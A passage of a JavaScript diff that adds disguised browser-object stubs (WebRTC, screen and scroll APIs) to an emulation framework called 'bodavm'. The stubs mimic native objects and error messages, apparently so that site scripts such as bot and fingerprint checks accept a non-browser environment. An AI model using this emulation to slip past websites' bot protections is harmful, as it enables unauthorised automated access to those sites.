bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "errorCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "errorText", { + configurable: true, + enumerable: true, + get: function errorText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "errorText_get", arguments); + }, + set: undefined +}, 'prototype'); +// RTCPeerConnectionIceEvent对象 + +bodavm.memory.globalobj['RTCPeerConnectionIceEvent'] = function RTCPeerConnectionIceEvent() { + console.log_copy('RTCPeerConnectionIceEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCPeerConnectionIceEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCPeerConnectionIceEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnectionIceEvent'], "RTCPeerConnectionIceEvent"); +bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceEvent', "candidate", { + configurable: true, + enumerable: true, + get: function candidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].prototype, "RTCPeerConnectionIceEvent", "candidate_get", arguments); + }, + set: undefined +}, 'prototype'); +// RTCRtpReceiver对象 + +bodavm.memory.globalobj['RTCRtpReceiver'] = function RTCRtpReceiver() { + console.log_copy('RTCRtpReceiver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCRtpReceiver)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpReceiver'], "RTCRtpReceiver"); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getCapabilities", { + configurable: true, + enumerable: true, + writable: true, + value: function getCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].undefined, "RTCRtpReceiver", "getCapabilities", arguments); + } +}); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "transport", { + configurable: true, + enumerable: true, + get: function transport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "transport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "rtcpTransport", { + configurable: true, + enumerable: true, + get: function rtcpTransport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "rtcpTransport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "playoutDelayHint", { + configurable: true, + enumerable: true, + get: function playoutDelayHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "playoutDelayHint_get", arguments); + }, + set: function playoutDelayHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "playoutDelayHint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "createEncodedStreams", { + configurable: true, + enumerable: true, + writable: true, + value: function createEncodedStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "createEncodedStreams", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getContributingSources", { + configurable: true, + enumerable: true, + writable: true, + value: function getContributingSources() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getContributingSources", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function getParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getStats", { + configurable: true, + enumerable: true, + writable: true, + value: function getStats() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getStats", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getSynchronizationSources", { + configurable: true, + enumerable: true, + writable: true, + value: function getSynchronizationSources() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getSynchronizationSources", arguments); + } +}, 'prototype'); +// RTCRtpSender对象 + +bodavm.memory.globalobj['RTCRtpSender'] = function RTCRtpSender() { + console.log_copy('RTCRtpSender 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCRtpSender)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpSender'], "RTCRtpSender"); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "getCapabilities", { + configurable: true, + enumerable: true, + writable: true, + value: function getCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].undefined, "RTCRtpSender", "getCapabilities", arguments); + } +}); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "transport", { + configurable: true, + enumerable: true, + get: function transport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "transport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "rtcpTransport", { + configurable: true, + enumerable: true, + get: function rtcpTransport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "rtcpTransport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "dtmf", { + configurable: true, + enumerable: true, + get: function dtmf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "dtmf_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "createEncodedStreams", { + configurable: true, + enumerable: true, + writable: true, + value: function createEncodedStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "createEncodedStreams", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "getParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function getParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "getParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "getStats", { + configurable: true, + enumerable: true, + writable: true, + value: function getStats() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "getStats", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "replaceTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "replaceTrack", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "setParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function setParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "setParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpSender', "setStreams", { + configurable: true, + enumerable: true, + writable: true, + value: function setStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "setStreams", arguments); + } +}, 'prototype'); +// RTCRtpTransceiver对象 + +bodavm.memory.globalobj['RTCRtpTransceiver'] = function RTCRtpTransceiver() { + console.log_copy('RTCRtpTransceiver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCRtpTransceiver)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpTransceiver'], "RTCRtpTransceiver"); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "mid", { + configurable: true, + enumerable: true, + get: function mid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "mid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "sender", { + configurable: true, + enumerable: true, + get: function sender() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "sender_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "receiver", { + configurable: true, + enumerable: true, + get: function receiver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "receiver_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "stopped", { + configurable: true, + enumerable: true, + get: function stopped() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "stopped_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "direction_get", arguments); + }, + set: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "direction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "currentDirection", { + configurable: true, + enumerable: true, + get: function currentDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "currentDirection_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "setCodecPreferences", { + configurable: true, + enumerable: true, + writable: true, + value: function setCodecPreferences() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "setCodecPreferences", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "stop", arguments); + } +}, 'prototype'); +// RTCSctpTransport对象 + +bodavm.memory.globalobj['RTCSctpTransport'] = function RTCSctpTransport() { + console.log_copy('RTCSctpTransport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCSctpTransport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCSctpTransport'], "RTCSctpTransport"); +bodavm.memory.globalobj['RTCSctpTransport'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCSctpTransport'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCSctpTransport', "transport", { + configurable: true, + enumerable: true, + get: function transport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "transport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSctpTransport', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSctpTransport', "maxMessageSize", { + configurable: true, + enumerable: true, + get: function maxMessageSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "maxMessageSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSctpTransport', "maxChannels", { + configurable: true, + enumerable: true, + get: function maxChannels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "maxChannels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSctpTransport', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "onstatechange_set", arguments); + } +}, 'prototype'); +// RTCStatsReport对象 + +bodavm.memory.globalobj['RTCStatsReport'] = function RTCStatsReport() { + console.log_copy('RTCStatsReport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCStatsReport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCStatsReport'], "RTCStatsReport"); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCStatsReport', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "values", arguments); + } +}, 'prototype'); +// RTCTrackEvent对象 + +bodavm.memory.globalobj['RTCTrackEvent'] = function RTCTrackEvent() { + console.log_copy('RTCTrackEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCTrackEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCTrackEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCTrackEvent'], "RTCTrackEvent"); +bodavm.memory.globalobj['RTCTrackEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCTrackEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCTrackEvent', "receiver", { + configurable: true, + enumerable: true, + get: function receiver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "receiver_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCTrackEvent', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCTrackEvent', "streams", { + configurable: true, + enumerable: true, + get: function streams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "streams_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCTrackEvent', "transceiver", { + configurable: true, + enumerable: true, + get: function transceiver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "transceiver_get", arguments); + }, + set: undefined +}, 'prototype'); +// Sanitizer对象 + +bodavm.memory.globalobj['Sanitizer'] = function Sanitizer() { + console.log_copy('Sanitizer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Sanitizer(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Sanitizer'], "Sanitizer"); +bodavm.toolsFunc.defineProperty('Sanitizer', "getDefaultConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function getDefaultConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sanitizer'].undefined, "Sanitizer", "getDefaultConfiguration", arguments); + } +}); +bodavm.toolsFunc.defineProperty('Sanitizer', "getConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function getConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sanitizer'].prototype, "Sanitizer", "getConfiguration", arguments); + } +}, 'prototype'); +// Scheduling对象 + +bodavm.memory.globalobj['Scheduling'] = function Scheduling() { + console.log_copy('Scheduling 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Scheduling)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Scheduling'], "Scheduling"); +bodavm.toolsFunc.defineProperty('Scheduling', "isInputPending", { + configurable: true, + enumerable: true, + writable: true, + value: function isInputPending() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Scheduling'].prototype, "Scheduling", "isInputPending", arguments); + } +}, 'prototype'); +// ScreenDetailed对象 + +bodavm.memory.globalobj['ScreenDetailed'] = function ScreenDetailed() { + console.log_copy('ScreenDetailed 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ScreenDetailed)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenDetailed'], "ScreenDetailed"); +bodavm.memory.globalobj['ScreenDetailed'].prototype.__proto__ = bodavm.memory.globalobj['Screen'].prototype; +bodavm.memory.globalobj['ScreenDetailed'].__proto__ = bodavm.memory.globalobj['Screen']; +bodavm.toolsFunc.defineProperty('ScreenDetailed', "left", { + configurable: true, + enumerable: true, + get: function left() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "left_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetailed', "top", { + configurable: true, + enumerable: true, + get: function top() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "top_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetailed', "isPrimary", { + configurable: true, + enumerable: true, + get: function isPrimary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "isPrimary_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetailed', "isInternal", { + configurable: true, + enumerable: true, + get: function isInternal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "isInternal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetailed', "devicePixelRatio", { + configurable: true, + enumerable: true, + get: function devicePixelRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "devicePixelRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetailed', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "label_get", arguments); + }, + set: undefined +}, 'prototype'); +// ScreenDetails对象 + +bodavm.memory.globalobj['ScreenDetails'] = function ScreenDetails() { + console.log_copy('ScreenDetails 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ScreenDetails)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenDetails'], "ScreenDetails"); +bodavm.memory.globalobj['ScreenDetails'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ScreenDetails'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ScreenDetails', "screens", { + configurable: true, + enumerable: true, + get: function screens() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "screens_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetails', "currentScreen", { + configurable: true, + enumerable: true, + get: function currentScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "currentScreen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetails', "onscreenschange", { + configurable: true, + enumerable: true, + get: function onscreenschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "onscreenschange_get", arguments); + }, + set: function onscreenschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "onscreenschange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetails', "oncurrentscreenchange", { + configurable: true, + enumerable: true, + get: function oncurrentscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "oncurrentscreenchange_get", arguments); + }, + set: function oncurrentscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "oncurrentscreenchange_set", arguments); + } +}, 'prototype'); +// screenLeft对象 + +bodavm.memory.globalobj['screenLeft'] = { + _boisinit: bodavm.config.isinit +}; +// screenTop对象 + +bodavm.memory.globalobj['screenTop'] = { + _boisinit: bodavm.config.isinit +}; +// screenX对象 + +bodavm.memory.globalobj['screenX'] = { + _boisinit: bodavm.config.isinit +}; +// screenY对象 + +bodavm.memory.globalobj['screenY'] = { + _boisinit: bodavm.config.isinit +}; +// ScriptProcessorNode对象 + +bodavm.memory.globalobj['ScriptProcessorNode'] = function ScriptProcessorNode() { + console.log_copy('ScriptProcessorNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ScriptProcessorNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScriptProcessorNode'], "ScriptProcessorNode"); +bodavm.memory.globalobj['ScriptProcessorNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['ScriptProcessorNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('ScriptProcessorNode', "onaudioprocess", { + configurable: true, + enumerable: true, + get: function onaudioprocess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "onaudioprocess_get", arguments); + }, + set: function onaudioprocess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "onaudioprocess_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScriptProcessorNode', "bufferSize", { + configurable: true, + enumerable: true, + get: function bufferSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "bufferSize_get", arguments); + }, + set: undefined +}, 'prototype'); +// scroll对象 + +bodavm.memory.globalobj['scroll'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('scroll', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('scroll', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "scroll" +}); +// scrollbars对象 + +bodavm.memory.globalobj['scrollbars'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['scrollbars'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; +// scrollBy对象 + +bodavm.memory.globalobj['scrollBy'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('scrollBy', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('scrollBy', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "scrollBy" +}); +// scrollTo对象 + +bodavm.memory.globalobj['scrollTo'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('scrollTo', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('scrollTo', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "scrollTo" +}); +// scrollX对象 + +bodavm.memory.globalobj['scrollX'] = { + _boisinit: bodavm.config.isinit +}; +// scrollY对象 + +bodavm.memory.globalobj['scrollY'] = { + _boisinit: bodavm.config.isinit +}; +// SecurityPolicyViolationEvent对象 + +bodavm.memory.globalobj['SecurityPolicyViolationEvent'] = function SecurityPolicyViolationEvent() { + console.log_copy('SecurityPolicyViolationEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SecurityPolicyViolationEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SecurityPolicyViolationEvent': 1 argument required, but only 0 present."); + } + 